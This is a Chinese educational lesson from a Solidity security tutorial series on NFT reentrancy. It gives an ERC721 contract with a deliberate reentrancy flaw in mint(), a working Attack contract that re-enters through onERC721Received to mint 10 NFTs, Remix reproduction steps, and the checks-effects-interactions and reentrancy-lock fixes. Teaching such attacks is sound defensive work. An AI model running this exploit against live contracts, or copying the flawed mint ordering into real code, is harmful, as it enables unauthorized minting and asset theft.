WTF Solidity 合约安全: S16. NFT重入攻击

我最近在重新学 Solidity，巩固一下细节，也写一个“WTF Solidity 合约安全”，供小白们使用（编程大佬可以另找教程），每周更新 1-3 讲。

所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity

这一讲，我们将介绍NFT合约的重入攻击漏洞，并攻击一个有漏洞的NFT合约，铸造10个NFT。

NFT重入风险

我们在S01 重入攻击中讲过，重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。转账NFT时并不会触发合约的fallback或receive函数，为什么会有重入风险呢？

这是因为NFT标准（ERC721/ERC1155）为了防止用户误把资产转入黑洞而加入了安全转账：如果转入地址为合约，则会调用该地址相应的检查函数，确保它已准备好接收NFT资产。例如 ERC721 的 safeTransferFrom() 函数会调用目标地址的 onERC721Received() 函数，而黑客可以把恶意代码嵌入其中进行攻击。

我们总结了 ERC721 和 ERC1155 有潜在重入风险的函数：

漏洞例子

下面我们学习一个有重入漏洞的NFT合约例子。这是一个ERC721合约，每个地址可以免费铸造一个NFT，但是我们通过重入攻击可以一次铸造多个。

漏洞合约

NFTReentrancy合约继承了ERC721合约，它主要有 2 个状态变量，totalSupply记录NFT的总供给，mintedAddress记录已铸造过的地址，防止一个用户多次铸造。它主要有 2 个函数：

构造函数: 初始化 ERC721 NFT的名称和代号。
mint(): 铸造函数，每个用户可以免费铸造1个NFT。注意：这个函数有重入漏洞！

contract NFTReentrancy is ERC721 {
    uint256 public totalSupply;
    mapping(address => bool) public mintedAddress;
    // 构造函数，初始化NFT合集的名称、代号
    constructor() ERC721("Reentry NFT", "ReNFT"){}

    // 铸造函数，每个用户只能铸造1个NFT
    // 有重入漏洞
    function mint() payable external {
        // 检查是否mint过
        require(mintedAddress[msg.sender] == false);
        // 增加total supply
        totalSupply++;
        // mint
        _safeMint(msg.sender, totalSupply);
        // 记录mint过的地址
        mintedAddress[msg.sender] = true;
    }
}

攻击合约

NFTReentrancy合约的重入攻击点在mint()函数会调用ERC721合约中的_safeMint()，从而调用转入地址的_checkOnERC721Received()函数。如果转入地址的_checkOnERC721Received()包含恶意代码，就能进行攻击。

Attack合约继承了IERC721Receiver合约，它有 1 个状态变量nft记录了有漏洞的NFT合约地址。它有 3 个函数:

构造函数: 初始化有漏洞的NFT合约地址。
attack(): 攻击函数，调用NFT合约的mint()函数并发起攻击。
onERC721Received(): 嵌入了恶意代码的ERC721回调函数，会重复调用mint()函数，并铸造10个NFT。

contract Attack is IERC721Receiver{
    NFTReentrancy public nft; // 有漏洞的nft合约地址

    // 初始化NFT合约地址
    constructor(NFTReentrancy _nftAddr) {
        nft = _nftAddr;
    }
    
    // 攻击函数，发起攻击
    function attack() external {
        nft.mint();
    }

    // ERC721的回调函数，会重复调用mint函数，铸造10个
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        if(nft.balanceOf(address(this)) < 10){
            nft.mint();
        }
        return this.onERC721Received.selector;
    }
}

Remix复现

部署NFTReentrancy合约。
部署Attack合约，参数填NFTReentrancy合约地址。
调用Attack合约的attack()函数发起攻击。
调用NFTReentrancy合约的balanceOf()函数查询Attack合约的持仓，可以看到持有10个NFT，攻击成功。

预防方法

主要有两种办法来预防重入攻击漏洞：检查-影响-交互模式（checks-effect-interaction）和重入锁。

检查-影响-交互模式：它强调编写函数时，要先检查状态变量是否符合要求，紧接着更新状态变量（例如余额），最后再和别的合约交互。我们可以用这个模式修复有漏洞的mint()函数:

    function mint() payable external {
        // 检查是否mint过
        require(mintedAddress[msg.sender] == false);
        // 增加total supply
        totalSupply++;
        // 记录mint过的地址
        mintedAddress[msg.sender] = true;
        // mint
        _safeMint(msg.sender, totalSupply);
    }

重入锁：它是一种防止重入函数的修饰器（modifier）。建议直接使用OpenZeppelin提供的ReentrancyGuard

总结

这一讲，我们介绍了NFT的重入攻击漏洞，并攻击了一个有漏洞的NFT合约，铸造了10个NFT。目前主要有两种预防重入攻击的办法：检查-影响-交互模式（checks-effect-interaction）和重入锁。

WTF Solidity 合约安全: S16. NFT重入攻击

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攻击合约​

Remix复现​

预防方法​

总结​